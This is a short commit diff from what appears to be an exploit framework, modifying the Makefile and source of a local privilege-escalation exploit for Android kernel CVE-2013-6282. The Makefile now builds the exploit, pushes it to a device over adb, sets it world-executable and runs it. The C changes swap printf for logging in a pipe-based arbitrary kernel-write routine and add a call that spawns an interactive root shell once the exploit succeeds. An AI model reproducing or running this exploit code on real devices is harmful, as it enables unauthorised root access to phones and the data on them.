fix make run

Author: timwr

external/source/exploits/CVE-2013-6282/Makefile

@@ -2,7 +2,7 @@
 all: install
 
 build:
-	ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk
+	ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_PLATFORM=android-16
 
 install: build
 	mv libs/armeabi/libexploit.so ../../../../data/exploits/CVE-2013-6282.so
@@ -11,7 +11,8 @@ push: build
 	adb push libs/armeabi/debugexploit /data/local/tmp/exploit
 
 run: push
-	adb shell 'cd /data/local/tmp/exploit'
+	adb shell 'chmod 777 /data/local/tmp/exploit'
+	adb shell '/data/local/tmp/exploit'
 
 clean:
 	rm -rf libs

external/source/exploits/CVE-2013-6282/exploit.c

@@ -604,7 +604,7 @@ int pipe_write_value_at_address(unsigned long address, void* value)
         buf[0] = 0;  
         if (data[i]) {  
             if (write(pipefd[1], buf, data[i]) != data[i]) {  
-                printf("error in write().\n");  
+                LOGV("error in write().\n");  
                 break;  
             }  
         }  
@@ -616,7 +616,7 @@ int pipe_write_value_at_address(unsigned long address, void* value)
 
         if (data[i]) {  
             if (read(pipefd[0], buf, sizeof buf) != data[i]) {  
-                printf("error in read().\n");  
+                LOGV("error in read().\n");  
                 break;  
             }  
         }  
@@ -665,6 +665,7 @@ void init_exploit() {
 
 	if (shellcode_buf[0] == 0x90) {
 		LOGV("No shellcode, uid=%d\n", uid);
+		system("/system/bin/sh -i");
 		return;
 	}
 	LOGV("running shellcode, uid=%d\n", uid);